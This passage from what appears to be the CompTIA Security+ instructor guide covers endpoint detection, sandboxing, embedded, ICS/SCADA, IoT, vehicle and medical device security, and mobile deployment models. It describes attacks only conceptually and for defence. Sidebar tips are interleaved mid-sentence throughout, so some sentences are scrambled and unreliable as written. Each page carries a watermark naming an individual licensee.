the use of AI/machine execution, but to provide real-time and historical visibility into the compromise, contain
learning analytics. the malware within a single host, and facilitate remediation of the host to its original
state. The term EDR was coined by Gartner security researcher Anton Chuvakin, and
Gartner produces annual "Magic Quadrant" reports for both EPP (gartner.com/en/
documents/3848470) and EDR functionality within security suites (gartner.com/en/
documents/3894086/market-guide-for-endpoint-detection-and-response-solutio).
Where earlier endpoint protection suites report to an on-premises management
server, next-generation endpoint agents are more likely to be managed from a cloud
portal and use artificial intelligence (AI) and machine learning to perform user and
entity behavior analysis. These analysis resources would be part of the security service
provider's offering.

Note that managed detection and response (MDR) is a class of hosted security service
(digitalguardian.com/blog/what-managed-detection-and-response-definition-benefits-how-
choose-vendor-and-more).

Lesson 12: Implementing Host Security Solutions | Topic 12B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 329

Next-Generation Firewall Integration

An analytics-driven next-gen antivirus product is likely to combine with the perimeter
and zonal security offered by next-gen firewalls. For example, detecting a threat on an
endpoint could automate a firewall policy to block the covert channel at the perimeter,
isolate the endpoint, and mitigate risks of the malware using lateral movement
between hosts. This type of functionality is set out in more detail in Sophos's white
paper on synchronized security (sophos.com/en-us/lp/synchronized-security.aspx).

Antivirus Response Show Slide(s)

An on-access anti-virus scanner or intrusion prevention system works by identifying Antivirus Response
when processes or scripts are executed and intercepting (or hooking) the call to scan
the code first. If the code matches a signature of known malware or exhibits malware-
like behavior that matches a heuristic profile, the scanner will prevent execution and
attempt to take the configured action on the host file (clean, quarantine, erase, and so
on). An alert will be displayed to the user and the action will be logged (and also may
generate an administrative alert). The malware will normally be tagged using a vendor
proprietary string and possibly by a CME (Common Malware Enumeration) identifier.
These identifiers can be used to research the symptoms of and methods used by
the malware. This may help to confirm the system is fully remediated and to identify
whether other systems have been infected. It is also important to trace the source of
the infection and ensure that it is blocked to prevent repeat attacks and outbreaks.

Advanced Malware Tools

Malware is often able to evade detection by automated scanners. Analysis of SIEM and
intrusion detection logs might reveal suspicious network connections, or a user may
observe unexplained activity or behavior on a host. When you identify symptoms such
as these, but the AV scanner or EPP agent does not report an infection, you will need to
analyze the host for malware using advanced tools.
There is a plethora of advanced analysis and detection utilities, but the starting point
for most technicians is Sysinternals (docs.microsoft.com/en-us/sysinternals).

Sandboxing
Sandboxing is a technique that isolates an untrusted host or app in a segregated
environment to conduct tests. Sandbox environments intentionally limit interfaces with
the host environment. The analysis of files sent to a sandbox can include determining
whether the file is malicious, how it might have affected certain systems if run outside
of the sandbox, and what dependencies it might have with external files and hosts.
Sandboxes offer more than traditional anti-malware solutions because you can apply
a variety of different environments to the sandbox instead of just relying on how the
malware might exist in your current configuration.

Lesson 12: Implementing Host Security Solutions | Topic 12B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 330 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Endpoint Security
Answer the following questions:

1. What is a hardened configuration?

A basic principle of security is to run only services that are needed. A hardened
system is configured to perform a role as client or application server with the minimal
possible attack surface, in terms of interfaces, ports, services, storage, system/registry
permissions, lack of security controls, and vulnerabilities.

2. True or false? Only Microsoft's operating systems and applications require

security patches.

False—any vendor's or open source software or firmware can contain vulnerabilities

that need patching.

3. Anti-virus software has reported the presence of malware but cannot

remove it automatically. Apart from the location of the affected file, what
information will you need to remediate the system manually?

The string identifying the malware. You can use this to reference the malware on the
A-V vendor's site and, hopefully, obtain manual removal and prevention advice.

4. You are consulting with a medium-size company about endpoint security

solutions. What advantages does a cloud-based analytics platform have
over an on-premises solution that relies on signature updates?

Advanced persistent threat (APT) malware can use many techniques to evade
signature-based detection. A cloud analytics platform, backed by machine learning, can
apply more effective behavioral-based monitoring and alerting.

5. If you suspect a process of being used for data exfiltration but the process is
not identified as malware by A-V software, what types of analysis tools will
be most useful?

You can use a sandbox with monitoring tools to see which files the process interacts
with and a network monitor to see if it opens (or tries to open) a connection with a
remote host.

Lesson 12: Implementing Host Security Solutions | Topic 12B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 331

Topic 12C
Explain Embedded System
Security Implications

EXAM OBJECTIVES COVERED Teaching

2.6 Explain the security implications of embedded and specialized systems Tip
This lesson on
host security
As well as the obvious computing hosts within your networks, you must also account concludes with a
look at embedded
for the security of embedded systems. Embedded computing functionality can be systems. The risks
found in consumer electronics devices and in specialist monitoring and control from these systems
systems, so it is important that you know how to identify and secure these devices. are increasingly
well-known and
Embedded Systems documented, so this is
an important topic to
An embedded system is a complete computer system that is designed to perform a cover.
specific, dedicated function. These systems can be as contained as a microcontroller Show Slide(s)
in an intravenous drip-rate meter or as large and complex as the network of control
devices managing a water treatment plant. Embedded systems can be characterized
as static environments. A PC is a dynamic environment. The user can add or remove Embedded Systems
programs and data files, install new hardware components, and upgrade the operating
Teaching
system. A static environment does not allow or require such frequent changes.
Tip
In terms of security this can be ideal, because unchanging environments are typically Distinguish embedded
easier to protect and defend. Static computing environments pose their own risks, systems from general
however. A static environment is often a black box to security administrators. Unlike purpose PC hosts
an OS environment such as Windows, there may be little support for identifying and in terms of single-
purpose functions and
correcting security issues.
resource constraints.

Cost, Power, and Compute Constraints

Embedded systems are usually constrained in terms of processor capability (cores and
speed), system memory, and persistent storage. Cost is an important factor. As devices
may be used in large numbers and are designed for fairly predictable processing
workloads, there is no obvious reason to over-provision compute resources and the
price per unit can be driven as low as possible.
The other factor determining compute resources is power. Many embedded devices
are battery-powered, and may need to run for years without having to replace the cells.
This means that processing must be kept to the minimum possible level.

Crypto, Authentication, and Implied Trust Constraints

The lack of compute resources means that embedded systems are not well-matched
to the cryptographic identification and authentication technologies that are widely
used on computer networks. As embedded systems become more accessible via
those networks, however, they need to use cryptoprocessors to ensure confidentiality,
integrity, and availability. This is prompting the development of ciphers that do not
require such large processing resources.
On PC hardware, a root of trust is established at the hardware level by a TPM.
Without this explicit trust anchor, a network has to use an implied trust model.

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 332 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Implied trust means that every device that has been added to the network is trusted,
on the assumption that it was added and continues to be operated by a legitimate
administrator. Until there is widespread adoption of embedded TPM, embedded
networks have to rely on the perimeter security model.

Network and Range Constraints

Minimizing compute functions also has an impact on choices for network connectivity.
The Wi-Fi and 4G/5G standards developed for use with computer and smartphone
networking use power-hungry antennas to maximize data rates and range, plus
processing to encrypt the communications. Networks for embedded systems
emphasize power-efficient transfer of small amounts of data with a high degree of
reliability and low latency.

Show Slide(s) Logic Controllers for Embedded Systems

Logic Controllers for
Embedded systems are normally based on firmware running on a programmable
Embedded Systems logic controller (PLC). These PLCs are built from different hardware and OS
components than some desktop PCs.
Teaching
Tip System on Chip (SoC)
Explain the way that
Desktop computer system architecture uses a generalized CPU plus various other
embedded systems
are "same, but processors and controllers and system memory, linked via the motherboard. System
different" compared to on chip (SoC) is a design where all these processors, controllers, and devices are
PCs. The functions for provided on a single processor die (or chip). This type of packaging saves space and is
CPU, memory, storage, usually power efficient, and so is very commonly used with embedded systems.
and networking are
still there, but the Raspberry Pi (raspberrypi.org) and Arduino (arduino.cc) are examples of SoC boards,
requirements are initially devised as educational tools, but now widely used for industrial applications,
different (availability, and hacking.
predictability, and cost
are prioritized over
flexibility).
Field Programmable Gate Array (FPGA)
A microcontroller is a processing unit that can perform sequential operations from
a dedicated instruction set. The instruction set is determined by the vendor at the
time of manufacture. Software running on the microcontroller has to be converted
to these instructions (assembly language). As many embedded systems perform
relatively simple but repetitive operations, it can be more efficient to design the
hardware controller to perform only the instructions needed. One example of this
is the application-specific integrated circuits (ASICs) used in Ethernet switches. ASICs
are expensive to design, however, and work only for a single application, such as
Ethernet switching.
A field programmable gate array (FPGA) is a type of controller that solves this
problem. The structure of the controller is not fully set at the time of manufacture.
The end customer can configure the programming logic of the device to run a
specific application.

Real-Time Operating Systems (RTOS)

Many embedded systems operate devices that perform acutely time-sensitive tasks,
such as drip meters or flow valves. The kernels or operating systems that run these
devices must be much more stable and reliable than the OS that runs a desktop
computer or server. Embedded systems typically cannot tolerate reboots or crashes
and must have response times that are predictable to within microsecond tolerances.
Consequently, these systems often use differently engineered platforms called real-
time operating systems (RTOS). An RTOS should be designed to have as small an
attack surface as possible. An RTOS is still susceptible to CVEs and exploits, however.

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 333

Embedded Systems Communications Considerations Show Slide(s)

Historically, embedded systems used proprietary vendor communications Embedded Systems

technologies. As technologies improve and closer integration with IT networks Communications
becomes more important, greater use of standardized communication technologies is Considerations
becoming more prevalent.
Teaching
Operational Technology (OT) Networks Tip
Consider mentioning
A cabled network for industrial applications is referred to as an operational technology 802.11ah (Wi-Fi
(OT) network. These typically use either serial data protocols or industrial Ethernet. HaLow). It uses the
Industrial Ethernet is optimized for real-time, deterministic transfers. Such networks 900 MHz band for
might use vendor-developed data link and networking protocols, as well as specialist better range at lower
power.
application protocols.

Cellular Networks
A cellular network enables long-distance communication over the same system that
supports mobile and smartphones. This is also called baseband radio, after the
baseband processor that performs the function of a cellular modem. There are several
baseband radio technologies:
• Narrowband-IoT (NB-IoT)—this refers to a low-power version of the Long Term
Evolution (LTE) or 4G cellular standard. The signal occupies less bandwidth than
regular cellular. This means that data rates are limited (20-100 kbps), but most
sensors need to send small packets with low latency, rather than making large data
transfers. Narrowband also has greater penetrating power, making it more suitable
for use in inaccessible locations, such as tunnels or deep within buildings, where
ordinary cellular connectivity would be impossible.

• LTE Machine Type Communication (LTE-M)—this is another low-power system, but

supports higher bandwidth (up to about 1 Mbps).

While not yet completely standardized, both NB-IoT and LTE-M are designed to be
compatible with 5G networks. This means they do not interfere with 5G signaling and
can use tower relays developed for 5G. They may support higher data rates, though
latency and reliability tend to be more important considerations.
Any LTE-based cellular radio uses a subscriber identity module (SIM) card as an
identifier. The SIM is issued by a cellular provider, with roaming to allow use of other
suppliers' tower relays. As a removable card is not really a suitable form factor for
embedded, an eSIM incorporates the same function as a chip on the system board or
SoC design.
Encryption of frames between the endpoint and the cell tower and within the backhaul
to Internet routers is the responsibility of the network operator. Over the air encryption
is performed by encryption schemes devised by the cellular standards body 3GPP.
Backhaul security is usually enforced using IPSec. The embedded system can use
application layer encryption for additional security.

Z-Wave and Zigbee

Z-Wave and Zigbee are wireless communications protocols used primarily for home
automation. Both create a mesh network topology, using low-energy radio waves to
communicate from one appliance to another. In Z-Wave, devices can be configured to
work as repeaters to extend the network but there is a limit of four "hops" between a
controller device and an endpoint. Z-Wave uses ~900 Mhz frequencies.
Zigbee has similar uses to Z-Wave and is an open source competitor technology to it.
The Zigbee Alliance operates certification programs for its various technologies and
standards. Zigbee uses the 2.4 GHz frequency band. This higher frequency allows more

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 334 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

data bandwidth at the expense of range compared to Z-Wave and the greater risk of
interference from other 2.4 GHz radio communications. Zigbee supports more overall
devices within a single network and there is no hop limit for communication between
devices.
Both Z-Wave and Zigbee have communications encryption. The main threats are from
re-pairing attacks and from rogue devices. A re-pairing attack allows a threat actor
to discover the network key by forcing a device off the network, causing it to try to
re-connect (checkpoint.com/press/2020/the-dark-side-of-smart-lighting-check-point-
research-shows-how-business-and-home-networks-can-be-hacked-from-a-lightbulb). If
the user connects a rogue device to the network, the system depends on application-
level security to prevent the device from compromising higher value targets, such as a
smart hub, alarm, or door entry mechanism.

Show Slide(s) Industrial Control Systems

Industrial Control
Industrial systems have different priorities to IT systems. Often, hazardous
Systems (2) electromechanical components are involved, so safety is the overriding priority.
Industrial processes also prioritize availability and integrity over confidentiality—
Teaching reversing the CIA triad as the AIC triad.
Tip
Explain the main
Workflow and Process Automation Systems
components in ICS/
SCADA then discuss Industrial control systems (ICSs) provide mechanisms for workflow and process
some general risks for automation. These systems control machinery used in critical infrastructure, like
each industry sector. power suppliers, water suppliers, health services, telecommunications, and national
Remind students security services. An ICS that manages process automation within a single site is usually
that they can visit the referred to as a distributed control system (DCS).
sector-specific ISACs
for more information. An ICS comprises plant devices and equipment with embedded PLCs. The PLCs are
linked either by an OT fieldbus serial network or by industrial Ethernet to actuators
that operate valves, motors, circuit breakers, and other mechanical components, plus
sensors that monitor some local state, such as temperature. Output and configuration
of a PLC is performed by one or more human-machine interfaces (HMIs). An HMI
might be a local control panel or software running on a computing host. PLCs are
connected within a control loop, and the whole process automation system can be
governed by a control server. Another important concept is the data historian, which
is a database of all the information generated by the control loop.

Supervisory Control and Data Acquisition (SCADA)

A supervisory control and data acquisition (SCADA) system takes the place of
a control server in large-scale, multiple-site ICSs. SCADA typically run as software
on ordinary computers, gathering data from and managing plant devices and
equipment with embedded PLCs, referred to as field devices. SCADA typically use WAN
communications, such as cellular or satellite, to link the SCADA server to field devices.

ICS/SCADA Applications
These types of systems are used within many sectors of industry:
• Energy refers to power generation and distribution. More widely, utilities includes
water/sewage and transportation networks.

• Industrial can refer specifically to the process of mining and refining raw materials,
involving hazardous high heat and pressure furnaces, presses, centrifuges, pumps,
and so on.

• Fabrication and manufacturing refer to creating components and assembling

them into products. Embedded systems are used to control automated production

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 335

systems, such as forges, mills, and assembly lines. These systems must work to
extremely high precisions.

• Logistics refers to moving things from where they were made or assembled to
where they need to be, either within a factory or for distribution to customers.
Embedded technology is used in control of automated transport and lift systems
plus sensors for component tracking.

• Facilities refers to site and building management systems, typically operating

automated heating, ventilation, and air conditioning (HVAC), lighting, and security
systems.

ICS/SCADA was historically built without regard to IT security, though there is now high
awareness of the necessity of enforcing security controls to protect them, especially
when they operate in a networked environment.

One infamous example of an attack on an embedded system is the Stuxnet worm (wired.
com/2014/11/countdown-to-zero-day-stuxnet). This was designed to attack the SCADA
management software running on Windows PCs to damage the centrifuges used by Iran's
nuclear fuels program. NIST Special Publication 800-82 covers some recommendations
for implementing security controls for ICS and SCADA (nvlpubs.nist.gov/nistpubs/
SpecialPublications/NIST.SP.800-82r2.pdf).

Internet of Things Show Slide(s)

The term Internet of Things (IoT) is used to describe a global network of appliances Internet of Things
and personal devices that have been equipped with sensors, software, and network
connectivity. This compute functionality allows these objects to communicate and Teaching
pass data between themselves and other traditional systems like computer servers. Tip
This is often referred to as Machine to Machine (M2M) communication. Each “thing” is With Internet of
identified with some form of unique serial number or code embedded within its own Things and wearable
operating or control system and is able to inter-operate within the existing Internet technology, evaluation
infrastructure either directly or via an intermediary. An IoT network will generally use of the supply chain
the following types of components: is critical. Vendors
and OEMs must be
• Hub/control system—IoT devices usually require a communications hub to facilitate assessed for their
Z-Wave or Zigbee networking. There must also be a control system, as most IoT security-awareness.
devices are headless, meaning they have no user control interface. This could be a
smart hub, with voice control, or a smartphone/PC app.

• Smart devices—IoT endpoints implement the function, such as a smart lightbulb

or a video entryphone that you can operate remotely. These devices implement
compute, storage, and network functions that are all potentially vulnerable to
exploits. Most smart devices use a Linux or Android kernel. Because they're
effectively running mini-computers, smart devices are vulnerable to some of
the standard attacks associated with web applications and network functions.
Integrated peripherals such as cameras or microphones could be compromised to
facilitate surveillance.

• Wearables—some IoT devices are designed as personal accessories, such as

smart watches, bracelets and pendant fitness monitors, and eyeglasses. Current
competing technologies are based on FitBit, Android Wear OS, Samsung's Tizen OS,
and Apple iOS, each with their own separate app ecosystems.

• Sensors—IoT devices need to measure all kinds of things, including temperature,

light levels, humidity, pressure, proximity, motion, gas/chemicals/smoke, heart/
breathing rates, and so on. These are implemented as thermocouples/thermistors,
infrared detectors, inductive, photoelectric, and capacitative cells, accelerometers,
gyroscopes, and more.

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 336 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Home automation products often use vendor-specific software and networking

protocols. As with embedded devices, security features can be poorly documented, and
patch management/security response processes of vendors can be inadequate. When
they are designed for residential use, IoT devices can suffer from weak defaults. They
may be configured to "work" with a minimum of configuration effort. There may be
recommended steps to secure the device that the customer never takes.

Show Slide(s) Specialized Systems for Facility Automation

Specialized Systems
A specialized system refers to the use of embedded systems and/or IoT devices for a
for Facility Automation specific purpose or application.

Building Automation System (BAS)

A building automation system (BAS) for offices and data centers ("smart buildings")
can include physical access control systems, but also heating, ventilation, and air
conditioning (HVAC), fire control, power and lighting, and elevators and escalators.
These subsystems are implemented by PLCs and various types of sensors that
measure temperature, air pressure, humidity, room occupancy, and so on. Some
typical vulnerabilities that affect these systems include:
• Process and memory vulnerabilities, such as buffer overflow, in the PLCs. These may
arise from processing maliciously crafted packets in the automation management
protocol. Building automation uses dedicated network protocols, such as BACnet or
Dynet.

• Use of plaintext credentials or cryptographic keys within application code.

• Code injection via the graphical web application interfaces used to configure and
monitor systems. This can be used to perform JavaScript-based attacks, such as
clickjacking and cross-site scripting (XSS).

It is possible that control of these systems could be used to perform some sort of
DoS or ransom demand (consider disrupting HVAC controls within a data center, for
instance). However, as with the Target data breach, the aim is likely to access the
corporate data network from the automation and monitoring system, which may be
accessible via a supplier company (krebsonsecurity.com/tag/fazio-mechanical).

Smart Meters
A smart meter provides continually updating reports of electricity, gas, or water usage
to the supplier, reducing the need for manual inspections. Most meters use cellular
data for communication back to the supplier, and an IoT protocol, such as ZigBee, for
integration with smart appliances.

Surveillance Systems
A physical access control system (PACS) is a network of monitored locks, intruder
alarms, and video surveillance. A PACS can either be implemented as part of a building
automation system or a separate system in its own right. Gaining physical access to
premises, or even just access to video monitoring systems, gives an adversary many
opportunities to develop additional attacks. As with building automation, a PACS is likely to
be installed and maintained by an external supplier. This can lead to it being omitted from
risk and vulnerability assessments, as highlighted by the US Government Accountability
Office's 2014 report into PACS at federal offices (gao.gov/assets/670/667512.pdf).
Physical security systems use networked camera systems (CCTV) for surveillance.
Unfortunately, some makes of camera systems have been found to have numerous
serious vulnerabilities that allow attackers either to prevent intrusions from being
recorded or to hijack the cameras to perform their own surveillance. These issues

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 337

tend to affect cheap consumer-grade systems rather than enterprise models, but in
both cases it is necessary to evaluate the supplier to demonstrate that their security
monitoring and remediation support services are effective.

Specialized Systems in IT Show Slide(s)

There are also specialized systems installed within office networks, such as printer and Specialized Systems
Voice over IP (VoIP) equipment. These systems must not be overlooked by security in IT
monitoring procedures.
Teaching
Multifunction Printers (MFPs) Tip

Most modern print devices, scanners, and fax machines have hard drives and In 2014, security
researchers hacked
sophisticated firmware, allowing their use without attachment to a computer and the web interface of a
over a network. Often these print/scan/fax functions are performed by single devices, Canon Pixma printer
referred to as multifunction printers (MFPs). Unless they have been securely deleted, and used the exploit
images and documents are frequently recoverable from all of these machines. Some of to install the 1990s
the more feature-rich, networked printers and MFPs can also be used as a pivot point first-person shooter
game Doom on the
to attack the rest of the network. These machines also have their own firmware that
printer firmware
must be kept patched and updated. (wired.com/2014/09/
doom-printer).
Voice over IP (VoIP)
Types of embedded systems are used to implement both Voice over IP (VoIP) endpoints
and media gateways. Endpoints can be individual handsets or conferencing units.
A media gateway might use a separate firmware/OS to implement integration with
telephone and cellular networks.

Where these devices connect directly to the Internet, a fingerprinting app or website
(shodan.io/explore/tag/voip or shodan.io/explore/tag/printer, for instance) can be used to
probe for unpatched vulnerabilities. There are Shodan queries for any number of IoT and
ICS devices.

Shodan search results for sites responding to probes over port 9100 (TCP port for raw print data).

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 338 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Specialized Systems for Vehicles and Drones

Specialized Systems
Automobiles and unmanned aerial vehicles (UAV), or drones, contain sophisticated
for Vehicles and electronics to control engine and power systems, braking and landing, and suspension/
Drones stability. Modern vehicles are increasingly likely to have navigation and entertainment
systems, plus driver-assist or even driverless features, where the vehicle's automated
systems can take control of steering and braking. The locking, alarm, and engine
immobilizer mechanisms are also likely to be part of the same system. Each of these
subsystems is implemented as an electronic control unit (ECU), connected via one
or more controller area network (CAN) serial communications buses. The principal
external interface is an Onboard Diagnostics (OBD-II) module. The OBD-II also acts as a
gateway for multiple CAN buses.
The CAN bus operates in a somewhat similar manner to shared Ethernet and was
designed with just as little security. ECUs transmit messages as broadcast so they
are received by all other ECUs on the same bus. There is no concept of source
addressing or message authentication. An attacker able to attach a malicious device
to the OBD-II port is able to perform DoS attacks against the CAN bus, threatening
the safety of the vehicle. There are also remote means of accessing the CAN bus,
such as via the cellular features of the automobile's navigation and entertainment
system (wired.com/2015/07/hackers-remotely-kill-jeep-highway). Some vehicles also
Show Slide(s)
implement on-board Wi-Fi, further broadening the attack surface.

Specialized Systems
for Medical Devices Specialized Systems for Medical Devices
Teaching
Medical devices represent an array of systems potentially vulnerable to a wide range
Tip
of attacks. It is important to recognize that use of these devices is not confined
to hospitals and clinics but includes portable devices such as cardiac monitors/
You can reference
the recall of certain
defibrillators and insulin pumps. As well as unsecure communication protocols, many
types of pacemaker of the control systems for these devices run on unsupported versions of operating
(csoonline.com/article/ systems (such as Windows XP) because the costs of updating the software to work
3222068/465000- with newer OS versions is high and disruptive to patient services. Some of the goals of
abbott-pacemakers- attacks on medical devices and services are as follows:
vulnerable-to-hacking-
need-a-firmware-fix. • Use compromised devices to pivot to networks storing medical data with the aim of
html) for a firmware stealing protected health information (PHI).
update to fix a
vulnerability that could • Hold medical units ransom by threatening to disrupt services.
allow an attacker to
drain the device's • Kill or injure patients (or threaten to do so) by tampering with dosage levels or
battery. device settings.

Show Slide(s)
Security for Embedded Systems
Security for Embedded Embedded systems must not be overlooked when designing the security system. The
Systems following methods can be used to mitigate risk in such environments.

Teaching Network Segmentation

Tip
There should be a Network segmentation is one of the core principles of network security. Network access
management plan for for static environments should only be required for applying firmware updates and
securing and updating management controls from the host software to the devices and for reporting status and
embedded devices. diagnostic information from the devices back to the host software. This control network
Control systems for should be separated from the corporate network using firewalls and VLANs.
embedded systems
should generally With environments such as SCADA, the management software may require legacy
be separated from versions of operating systems, making the hosts particularly difficult to secure. Isolating
the corporate data
these hosts from others through network segmentation and using endpoint security
network, perhaps
using VLANs and (preventing the attachment of USB devices) can help to ensure they do not become
firewalls. infected with malware or exposed to network exploits.

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 339

Wrappers
One way of increasing the security of data in transit for embedded systems is through the
use of wrappers, such as IPSec. The only thing visible to an attacker or anyone sniffing
the wire is the IPSec header, which describes only the tunnel endpoints. This is useful
for protecting traffic between trusted networks when the traffic has to go through an
untrusted network to go between them, or between trusted nodes on the same network.

Firmware Code Control and Inability to Patch

Embedded systems demonstrate one of the reasons that supply chain risks must be
carefully managed. Programming logic implemented in FPGA and firmware code must
not contain backdoors. Firmware patching is just as vital as keeping host OS software
up to date, but for many embedded systems, it is far more of a challenge:
• Many embedded systems and IoT devices use low-cost firmware chips and the
vendor never produces updates to fix security problems or only produces updates
for a relatively short product cycle (while the device could remain in operational use
for much longer).

• Many embedded systems require manual updates, which are perceived as too time-
consuming for a security department with other priorities to perform.

• Availability is a key attribute for most embedded deployments. Patching without

service interruption may not be possible, and opportunities for downtime servicing
extremely limited.

Cisco Live presents a useful overview of embedded system security requirements

(ciscolive.com/c/dam/r/ciscolive/us/docs/2018/pdf/BRKIOT-2115.pdf).

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 340 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Embedded System Security Implications
Answer the following questions:

1. Other than cost, which factor primarily constrains embedded systems in

terms of compute and networking?

Power—many embedded systems must operate on battery power, and changing

the batteries is an onerous task, so power-hungry systems like processing and high
bandwidth or long-range networking are constrained.

2. True or false? While fully customizable by the customer, embedded systems

are based on either the Raspberry Pi or the Arduino design.

False—these are examples of one-board computers based on the system on chip (SoC)
design. They are widely used in education (and leisure). Some are used for industrial
applications or for proof-of-concept designs, but most embedded systems are
manufactured to specific requirements.

3. What addressing component must be installed or configured for NB-IoT?

A LTE-based cellular radio, such as narrowband-IoT, uses a subscriber identity module

(SIM) card as an identifier. This can either be installed as a plug-in card or configured as
an eSIM chip on the system board or feature in a SoC design.

4. You are assisting with the preparation of security briefings on embedded

systems tailored to specific implementations of embedded systems.
Following the CompTIA Security+ syllabus, you have created the industry-
specific advice for the following sectors—which one do you have left to do?

Facilities, Industrial, Manufacturing, Energy, ???

Logistics—transportation of components for assembly or distribution of finished

products.

5. Why should detailed vendor and product assessments be required before

allowing the use of IoT devices in the enterprise?

As systems with considerable computing and networking functionality, these devices

are subject to the same sort of vulnerabilities and exploits as ordinary workstations
and laptops. It is critical to assess the vendor's policies in terms of the security
design for the product and support for identifying and mitigating any vulnerabilities
discovered in its use.

Lesson 12: Implementing Host Security Solutions | Topic 12C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 341

Lesson 12
Summary
You should be able to apply host hardening policies and technologies and to assess Teaching
risks from third-party supply chains and embedded/IoT systems. Tip
Check that students
Guidelines for Implementing Host Security Solutions are confident about
the content that has
been covered. If there
Follow these guidelines when you deploy or re-assess endpoint security and integration
is time, re-visit any
with embedded or IoT systems: content examples that
• Assess third-party risks and ensure that appropriate procedures and agreements they have questions
about. If you have
(MOU, NDA, SLA, BPA, MSA) are used to onboard approved vendors and partners as used all the available
technology and solutions providers. time for this lesson
block, note the issues,
• Establish configuration baselines for each host type. Ensure that hosts are deployed and schedule time for
to the configuration baseline and set up monitoring to ensure compliance. a review later in the
course.
• Configure secure boot options and consider the use of attestation and policy
servers as the basis of a network access control mechanism. Interaction
Opportunity
• Configure storage encryption using full disk or self-encrypting drives. Optionally, ask
students if they have
• Deploy an endpoint protection solution that meets security requirements for experience either of
functions such as anti-malware, firewall, IDS, EDR, and DLP. ICS/SCADA system
or BACS. Ask if IoT
• Establish patch management procedures to test updates for different host groups devices are present in
and ensure management of both OS and third-party software. their workplace, and
whether there is a
• Create a management plan for any IoT devices used in the workplace and ensure management plan for
there is no "shadow IT" deployment of unmanaged appliances. them.

• Assess security requirements for ICS and/or SCADA embedded systems:

• Procurement of secure SoC, RTOS, and FPGA controller systems.

• Use of cryptographic controls for authentication, integrity, and resiliency.

• Use of specialist communications technologies.

• Access control and segmentation for OT networks.

• Vendor support for patch management.

Lesson 12: Implementing Host Security Solutions

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 13
Implementing Secure Mobile Solutions

LESSON INTRODUCTION Teaching

Tip
Mobile devices are now the preferred client for many common work tasks, and network This lesson follows
management and security systems have had to adapt to accommodate them. The shift on from host security
toward mobile also presages a move toward unified management of endpoints, and by looking specifically
the use of virtualized workspaces as a better model for provisioning corporate apps at mobile devices.
and data processing. While there are a lot of
content examples to
cover, this subject area
Lesson Objectives is well-established at
A+ level, so you may
In this lesson, you will: be able to move quite
quickly through this
• Implement mobile device management. section.

• Implement secure mobile device connections.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 344 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 13A
Implement Mobile Device Management

Teaching EXAM OBJECTIVES COVERED

Tip 3.5 Given a scenario, implement secure mobile solutions
This is another topic
where lab support is
difficult. If you have
a corporate MDM or
As use of mobiles has permeated every type of organization, network management
EMM solution that
you can show to the and security suites have developed to ensure that they are not exploited as
students as a demo, unmanaged attack vectors. As a security professional, you will often have to configure
that would help. these management suites, and assist users with the device onboarding process.
Otherwise, students
should refer to vendor
implementation Mobile Device Deployment Models
guides.
Mobile devices have replaced computers for many email and diary management
Show Slide(s) tasks and are integral to accessing many other business processes and cloud-based
applications. A mobile device deployment model describes the way employees are
Mobile Device
provided with mobile devices and applications.
Deployment Models • Bring your own device (BYOD)—the mobile device is owned by the employee. The
mobile will have to meet whatever profile is required by the company (in terms of
OS version and functionality) and the employee will have to agree on the installation
of corporate apps and to some level of oversight and auditing. This model is usually
the most popular with employees but poses the most difficulties for security and
network managers.

• Corporate owned, business only (COBO)—the device is the property of the

company and may only be used for company business.

• Corporate owned, personally-enabled (COPE)—the device is chosen and supplied

by the company and remains its property. The employee may use it to access
personal email and social media accounts and for personal web browsing (subject
to whatever acceptable use policies are in force).

• Choose your own device (CYOD)—much the same as COPE but the employee is
given a choice of device from a list.

Virtualization can provide an additional deployment model. Virtual desktop

infrastructure (VDI) means provisioning an OS desktop to interchangeable hardware.
The hardware only has to be capable of running a VDI client viewer, or have browser
support a clientless HTML5 solution. The instance is provided "as new" for each session
